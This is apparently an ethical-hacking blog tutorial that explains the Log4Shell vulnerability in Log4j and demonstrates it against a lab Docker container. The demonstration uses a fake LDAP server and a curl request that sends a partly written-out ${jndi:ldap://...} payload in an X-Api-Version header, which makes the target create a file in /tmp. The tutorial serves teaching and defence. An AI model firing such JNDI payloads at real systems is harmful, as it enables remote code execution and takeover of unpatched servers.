Hello aspiring Ethical Hackers. In this article you will learn about the Log4shell vulnerability and why it is dangerous. According to Wiz and EY, this vulnerability affects over 93% of the total enterprise cloud environments. At the time of writing this article, Year 2022 has seen over a billion log4shell exploitation attempts.
The software that is affected by this vulnerability includes Apache Camel, Apache Druid, Apache Flink, Apache Solr, Apache struts2, Apache Tomcat, Elastic Search, Atllasian Bitbucket, almost all software of Avaya, some software of Cisco, Citrix,Cloudera, Dell, F-Secure, Hitachi Energy, HP, IBM, Intel, Lenovo, McAfee, Microsoft, MongoDB, Netapp, Neo4j (OMG, we just installed it in last Issue), Nulab, Oracle, Palantir, Palo -Alto, PaperCut, Rapid7, RedHat, Salesforce, Schneider Electric, Securonix, Siemens, SolarWinds, Sophos, Splunk, Thales, Varian, VMWare, Xylem, and Zendesk etc. The commercial services that are vulnerable to log4shell include Amazon Web Services, Cloudflare, iCloud, Minecraft: Java Edition, Steam and Tencent QQ.
If you read the above list of software vulnerable to log4shell, you will understand why it is given CVSS rating of 10.
What is Log4j or Log4shell vulnerability?
Log4j is actually an open source logging framework written in Java that software developers use to log or record data in their applications. The data that is logged can also include user input. For example, most web servers use logging. When you try to access a login webpage, apart from displaying you that webpage the server can create a record of your visit. Log4j was written in 2001 by Ceki Gülcü and now is part of Apache Logging Services which is a project of the Apache Software Foundation.
There is a feature in Log4j that allows remote users to specify custom code for formatting a log message. However, this feature can also be used to execute code on the target remotely by submitting it from a third party server. This allows a remote attacker to even take complete control of the target.
Enough theory, Let’s see it practically. For this, first we need a target. We have setup a vulnerable Docker container which we downloaded from here. This container can be started as shown below.
Once the container is up and running, check it’s IP address as shown below.
The target IP address is 172.17.0.2. Now let’s set up the Attacker system. We have setup a new directory named log4shell to store all files belonging to log4shell.
We have downloaded a Java exploit to exploit log4j from here.
After extracting the contents of the zip archive, we navigate into the extracted directory to find the exploit. The command to run this exploit is given as shown below.
In the place of “your-private-ip”, we need to enter the attacker IP address (172.17.0.1). Now, what does this exploit do? It starts a fake LDAP server and HTTP server as shown below.
The fake LDAP server is the third party server we need. Next, we need to trigger the exploit. Open a new terminal and run the command as shown below.
In the above command we are starting with curl, you can see “$(jndi)”. JNDI stands for Java Naming and Directory Interface and it is used for lookup of Java objects during program runtime. JNDI can interact with several directory interfaces which provide different scheme of files lookup.
One among them is the Lightweight Directory Access Protocol (LDAP). LDAP is a non-Java-specific protocol that can retrieve the object data as a URL which can be either local or remote. JNDI can be used to load data at an URL as Java object data by utilizing LDAP.
By specifying ${jndi:ldap://172.17.0.1:…..Ao=}, we are asking JNDI to use LDAP to query the URL and load the data there as Java object data. Well, what does the exploit do? As soon as we trigger the exploit, switch to the terminal on which our fake LDAP server is running.
It received a LDAP query and executed a command. It created a new file named “pwned” in the /tmp directory of the target (since that is what the exploit is programmed to do). Let’s check if the new file is created or not. This can be done as shown below.
All good, but what is “X-Api-version” we used while triggering the exploit? That’s a HTTP header. As soon as we trigger the exploit, it will query the fake malicious LDAP server and it is inputting a string that is logged to the target (-H 172.17.0.2) and then loading the malicious code (In this case, creating a new file on target). That’s how Log4jshell exploit works.
